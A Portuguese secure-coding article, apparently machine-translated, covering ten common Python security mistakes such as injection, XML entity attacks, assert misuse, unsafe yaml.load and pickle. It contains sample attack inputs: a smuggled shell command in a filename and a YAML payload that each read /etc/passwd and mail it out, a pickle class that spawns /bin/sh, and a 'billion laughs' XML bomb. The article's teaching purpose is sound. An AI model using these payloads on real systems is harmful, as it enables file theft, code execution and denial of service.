Os 10 erros de segurança mais comuns em Python e como evitá-los

Olá pessoal!

Nosso próximo grupo Python começou com sucesso na segunda-feira, mas ainda temos mais um material que não conseguimos colocar antes do início. Corrigimos nosso erro e esperamos que você goste.

Vamos lá!

Escrever código seguro é difícil. Ao aprender um idioma, módulo ou estrutura, você aprenderá como usá-lo. Você também precisa pensar em como eles podem ser usados ​​incorretamente em um contexto de segurança. Python não é exceção, mesmo a documentação para a biblioteca padrão contém descrições de práticas inadequadas de gravação para aplicativos seguros. No entanto, muitos desenvolvedores de Python simplesmente não os conhecem.



Aqui está o meu top 10 (em ordem aleatória) dos erros mais comuns em aplicativos Python.

1. Injeção


Existem muitos tipos de ataques de injeção de código, e todos são bastante comuns. Eles afetam todos os idiomas, estruturas e ambientes.

A injeção de SQL ocorre quando você escreve consultas SQL diretamente, em vez de usar ORM, e mistura literais de string com variáveis. Eu leio muito código em que "escapar aspas" é considerado uma correção. Isto não é verdade. Você pode se familiarizar com várias maneiras de incorporar o SQL nesta folha de dicas .

Injeção de comando é quando, a qualquer momento, você chama um processo usando popen, subprocesso, os.system e aceita argumentos de variáveis. Ao chamar comandos locais, existe a possibilidade de alguém definir esses valores para algo malicioso.

Imagine esse script simples [crédito] . Você chama o subprocesso com o nome do arquivo fornecido pelo usuário:

import subprocess def transcode_file(request, filename): command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename) subprocess.call(command, shell=True) # a bad idea! 

Um invasor define o valor como nome do arquivo "; cat /etc/passwd | mail them@domain.com ou algo igualmente perigoso.

Solução:

Esterilize a entrada com os utilitários que acompanham sua estrutura da web, se você usar uma. A menos que você tenha um bom motivo, não crie consultas SQL manualmente. A maioria dos ORMs possui métodos de desinfecção embutidos.

Para um shell, use o módulo shlex para proteger adequadamente a entrada .

2. XML de comparação


Se o seu aplicativo baixar e analisar arquivos XML, é provável que você esteja usando um dos módulos da biblioteca XML padrão. Existem vários ataques comuns por meio do XML. Principalmente no estilo DoS (projetado para descartar o sistema, não para filtrar dados). Esses ataques são bastante comuns, especialmente se você estiver analisando arquivos XML externos (ou seja, aqueles que não podem ser confiáveis).

Um deles é chamado de "bilhão de risadas" (literalmente "bilhões de risadas") por causa da carga útil, que geralmente contém muito (bilhões) de "risos". Basicamente, a idéia é que você possa criar objetos de referência em XML; portanto, quando o despretensioso analisador de XML tenta carregar esse arquivo na memória, ele consome gigabytes de RAM. Experimente se você não acredita em mim :-)

 <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> 

Outros ataques usam expansão por uma entidade externa. O XML suporta referências de entidade de URLs externas, o analisador XML geralmente solicita e carrega esse recurso sem problemas. "Um invasor pode ignorar firewalls e obter acesso a recursos limitados porque todas as solicitações são feitas a partir de um endereço IP interno e confiável, e não de fora".

Outra situação que vale a pena considerar são os pacotes de decodificação XML de terceiros dos quais você depende, como arquivos de configuração, APIs remotas. Você pode nem suspeitar que uma de suas dependências esteja aberta a esses tipos de ataques.
O que está acontecendo no Python? Bem, módulos de biblioteca padrão, etree, DOM, xmlrpc estão totalmente abertos para esses ataques. Isso está bem documentado aqui .

Solução:

Use defusedxml como um substituto para os módulos de biblioteca padrão. Ele acrescenta medidas defensivas contra esses tipos de ataques.

3. Declarar instruções


Não use assert para proteger fragmentos de código que o usuário não deve acessar. Veja este exemplo simples:

 def foo(request, user): assert user.is_admin, “user does not have access” # secure code... 

Agora, por padrão, o Python é executado com __debug__ igual a true, mas em um ambiente de combate, geralmente começa com a otimização. A instrução assert será ignorada e o programa irá diretamente para o código protegido, independentemente de o usuário ser is_admin ou não.

Solução:

Use as instruções de assert apenas para interação com outros desenvolvedores, por exemplo, em testes de unidade ou para proteger contra o uso incorreto da API.

4. Ataques temporários


Os ataques temporários são, em essência, uma maneira de expor o comportamento e o algoritmo de um programa, determinando o tempo necessário para comparar os valores fornecidos. Ataques temporários exigem precisão, portanto, geralmente não funcionam em uma rede remota com alta latência. Devido ao atraso variável associado à maioria dos aplicativos da Web, é quase impossível registrar um ataque temporário via servidores da Web HTTP.

Mas se você tiver um aplicativo de linha de comando que solicite uma senha, um invasor poderá escrever um script simples para calcular quanto tempo leva para comparar seus valores com a senha real. Um exemplo

Se você quiser ver como eles funcionam, existem alguns exemplos impressionantes, como este ataque SSH temporário escrito em Python.

Solução:

Use secrets.compare_digest introduzido no Python 3.5 para comparar senhas e outros valores privados.

5. Pacotes de sites contaminados ou caminho de importação


O Python possui um sistema de importação muito flexível. Isso é ótimo quando você tenta escrever patches de macaco para seus testes ou sobrecarregar as principais funções.

Mas esta é uma das maiores falhas de segurança no Python.

A instalação de pacotes de terceiros nos pacotes do site, seja em um ambiente virtual ou em pacotes globais do site (o que geralmente desencoraja), fornece brechas de segurança nesses pacotes.

Houve casos de publicação de pacotes PyPi com nomes semelhantes aos nomes de pacotes populares, mas de execução de código arbitrário . Felizmente, o maior incidente não foi perigoso e simplesmente "pôs fim" ao fato de que eles não prestaram atenção ao problema.

Outra situação para se pensar são as dependências de suas dependências (etc.). Eles podem incluir vulnerabilidades e também podem substituir o comportamento padrão no Python através do sistema de importação.

Solução:

Verifique seus pacotes. Dê uma olhada no PyUp.io e sua equipe de segurança. Use um ambiente virtual para todos os aplicativos e verifique se os pacotes globais de sites estão o mais limpos possível. Verifique as assinaturas do pacote.

6. arquivos temporários


Para criar arquivos temporários no Python, geralmente você primeiro gera o nome do arquivo usando a função mktemp() e depois cria o arquivo usando o nome gerado. "Isso não é seguro, porque outro processo pode criar um arquivo com o mesmo nome entre o horário em que mktemp() chamado e a tentativa subseqüente de criar o arquivo pelo primeiro processo." Isso significa que ele pode enganar seu aplicativo baixando dados incorretos ou colocando em risco outros dados temporários.

Versões recentes do Python mostrarão um aviso de tempo de execução se você chamar o método errado.

Solução:

Use o módulo tempfile e use mkstemp se precisar criar arquivos temporários.

7. Usando yaml.load


Citando a documentação do PyYAML:

Advertência Não é seguro chamar yaml.load com quaisquer dados recebidos de uma fonte não confiável! O yaml.load é tão eficiente quanto o pickle.load e, portanto, pode chamar qualquer função Python.

Este excelente exemplo é encontrado no popular projeto Ansible. Você pode atribuir um valor ao Ansible Vault como um YAML (válido). Ele chama os.system() com os argumentos fornecidos no arquivo.

 !!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"] 

Assim, ao carregar arquivos YAML a partir de valores fornecidos pelo usuário, você estará amplamente aberto a ataques.


Demonstração disso em ação, obrigado Anthony Sottile

Solução:

Use yaml.safe_load , quase sempre, a menos que você tenha um bom motivo para não fazê-lo.

8. Picles


Desserializar dados enlatados é tão ruim quanto o YAML. As classes Python podem declarar um método mágico __reduce__ que retorna uma cadeia de caracteres ou uma tupla com uma chamada e passar argumentos a serem chamados após a conservação. Um invasor pode usar isso para incluir links para um dos módulos de subprocesso para executar comandos arbitrários no host.

Este exemplo notável mostra como preservar uma classe que abre um shell no Python 2. Existem muitos outros exemplos de como usar pickle.

 import cPickle import subprocess import base64 class RunBinSh(object): def __reduce__(self): return (subprocess.Popen, (('/bin/sh',),)) print base64.b64encode(cPickle.dumps(RunBinSh())) 

Solução:

Nunca reabra dados de uma fonte não confiável ou não verificada. Em vez disso, use um padrão de serialização diferente, como JSON.

9. Use o sistema de tempo de execução python e não o remende


A maioria dos sistemas POSIX vem com uma versão do Python 2. Naturalmente, já desatualizada.

Como o Python, ou seja, o CPython é escrito em C, há momentos em que o próprio interpretador do Python possui falhas. Problemas de segurança comuns em C estão relacionados à alocação de memória, bem como erros de estouro de buffer.

Ao longo dos anos, o CPython teve várias vulnerabilidades de tamanho grande ou demais, cada uma das quais foi corrigida e corrigida em versões subsequentes.
Então você está seguro. Mais precisamente, se você instalar patches para o seu tempo de execução .

Aqui está um exemplo para a versão 2.7.13 e abaixo , uma vulnerabilidade de estouro inteiro que permite que o código seja executado. Este exemplo é para qualquer Ubuntu até a versão 17 sem patches instalados.

Solução:

Instale a versão mais recente do Python para seus aplicativos de combate e todos os patches!

10. Não instale correções para suas dependências


Assim como você não instala patches para o tempo de execução, também é necessário instalar regularmente patches para suas dependências.

Eu acho que a prática de “fixar” as versões Python dos pacotes PyPi nos pacotes é horrível. A idéia é que " essas são versões que funcionam " , para que todos a deixem em paz.

Todas as vulnerabilidades de código que mencionei acima são igualmente importantes quando existem nos pacotes que seu aplicativo usa. Os desenvolvedores desses pacotes corrigem problemas de segurança. O tempo todo.

Solução:

Use serviços como o PyUp.io para verificar atualizações, configurar solicitações de download / mesclagem no aplicativo e executar testes para atualizar pacotes.
Use ferramentas, como o InSpec, para verificar as versões instaladas em um ambiente de produção e fornecer correções para versões mínimas ou intervalos de versões.

Já experimentou o Bandit?

Há um grande linter estático que encontrará todos esses problemas no seu código e muito mais! É chamado de bandido, basta pip install bandit e o bandit ./codedir

PyCQA / bandido

Obrigado ao RedHat por este maravilhoso artigo que usei em algumas de minhas pesquisas.

O FIM!

Como sempre, teremos o maior prazer em ver seus comentários e perguntas :)

Source: https://habr.com/ru/post/pt420441/


All Articles